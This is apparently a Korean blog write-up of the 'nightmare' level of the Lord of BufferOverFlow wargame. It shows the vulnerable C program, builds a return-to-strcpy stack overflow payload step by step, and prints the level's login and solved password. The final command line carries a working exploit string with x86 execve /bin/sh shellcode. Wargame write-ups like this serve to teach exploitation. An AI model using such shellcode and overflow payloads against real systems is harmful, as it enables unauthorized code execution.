login : succubus
password : here to stay
[succubus@localhost succubus]$ ls
nightmare nightmare.c
[succubus@localhost succubus]$ cat nightmare.c
/*
The Lord of the BOF : The Fellowship of the BOF
- nightmare
- PLT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with strcpy()\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// dangerous waterfall
memset(buffer+40+8, 'A', 4);
}
dangerous waterfall -> buffer+48부터 A로 4개채운다
이말은 즉슨 buffer+48은 strcpy의 return address인데 이걸 AAAA로 초기화 시켜버린다는 것이다.
payload 구성
Dummy(44) + strcpy 주소(4) + strcpy ret(4) (AAAA) + strcpy 첫번째인자 (쓸곳의 주소) + strcpy 두번째인자 (읽을 곳 주소) + shellcode주소 + shellcode
strcpy 첫번째 인자는 쓸곳의 주소니 strcpy ret에 덮어쓸거니 strcpy 주소를 넣어주면 되고 strcpy 두번째 인자는 읽을곳의 주소니 shellcode의 주소를 넣어주면 된다.
gdb로 하나씩 찾아보자
1. strcpy주소
gdb로 뜯어보면 대충 쉽게 찾을수 있다.
임시로 페이로드를 짜보겠다
임시 payload
./test `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "AAAA" + "BBBB" + "CCCC" + "DDDD" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
2. shellcode 주소 (DDDD)
0xbffffbf8 사용 하겠다.
./test `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "AAAA" + "BBBB" + "CCCC" + "\xf8\xfb\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
3. strcpy 두번째 인자 -> 읽을 곳 주소 (CCCC)
./test `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "AAAA" + "BBBB" + "CCCC" + "\xf8\xfb\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 를 실행시키고 나서
0xbffffbf8 가 들어간곳 주소를 보면 될 것이다.
0xbffffa7c이다
./test `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "AAAA" + "BBBB" + "\x4c\xfa\xff\xbf" + "\xf8\xfb\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
로 수정후 다시 실행시켜보겠다
4. strcpy 첫번째 인자 (쓸곳의 주소) -> strcpy ret주소
BBBB바로앞이 strcpy ret의 주소이다.
0xbffffa70이다.
다구한것 같다 이제 완성시키자
./nightmare `python -c 'print "A"*44 + "\x10\x84\x04\x08" + "AAAA" + "\x70\xfa\xff\xbf" + "\x4c\xfa\xff\xbf" + "\xf8\xfb\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
beg for me
'Write-Up > LOB(lord of bufferoverflow)' 카테고리의 다른 글
[Lord Of BufferOverFlow] 19번 Nightmare -> xavius (0) | 2021.03.09 |
---|---|
[Lord Of BufferOverFlow] 17번 zombie_assassin -> succubus (0) | 2021.03.06 |
[Lord Of BufferOverFlow] 16번 assassin -> zombie_assassin (0) | 2021.03.06 |
[Lord Of BufferOverFlow] 15번 giant -> assassin (0) | 2021.03.04 |
[Lord Of BufferOverFlow] 14번 bugbear -> giant (0) | 2021.03.04 |